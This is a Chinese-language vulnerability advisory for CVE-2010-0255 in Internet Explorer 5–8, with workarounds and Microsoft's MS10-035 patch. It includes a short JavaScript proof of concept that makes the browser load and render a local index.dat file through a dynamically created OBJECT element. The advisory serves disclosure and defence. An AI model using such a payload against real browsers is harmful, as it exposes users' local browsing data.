发布日期：2010-02-03
更新日期：2010-02-04

受影响系统：

Microsoft Internet Explorer 8.0
Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP4

描述：

---

BUGTRAQ  ID: 38055
CVE ID: CVE-2010-0255

Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

Internet Explorer在加载OBJECT标签中所指定内容时如果index.dat文件直接从类似于以下的网页引用的话，则不会渲染和显示该文件的内容：

/-----
        <object data="file://127.0.0.1/C$/.../index.dat"
                type="text/html"
                width="100%" height="50"
         </object>

- -----/

但如果使用类似于以下的HTML代码就会加载并渲染该文件：

/-----
        <script language="Javascript">
                var obj = document.createElement("object");
                obj.data = "file://127.0.0.1/C$/.../index.dat";
                obj.type = "text/html";
                obj.id = "obj_results";
                obj.width = "500px";
                obj.height = "300px";
                document.body.appendChild(obj);
         </script>

- -----/

<*来源：Federico Muttis
        Jorge Luis Alvarez Medina
  
  链接：http://marc.info/?l=bugtraq&m=126523704719372&w=2
        http://www.microsoft.com/technet/security/advisory/980088.mspx?pf=true
        http://secunia.com/advisories/38416/
        http://www.us-cert.gov/cas/techalerts/TA10-159B.html
        http://www.microsoft.com/technet/security/bulletin/MS10-035.mspx?pf=true
*>

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件和活动脚本之前进行提示。
* 将Internet 和本地Intranet安全区域设置设为“高”，以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。
* 对Windows XP启用Internet Explorer网络协议锁定。

厂商补丁：

Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS10-035）以及相应补丁:
MS10-035：Cumulative Security Update for Internet Explorer (982381)
链接：http://www.microsoft.com/technet/security/bulletin/MS10-035.mspx?pf=true

浏览次数：2907
严重程度：0（网友投票）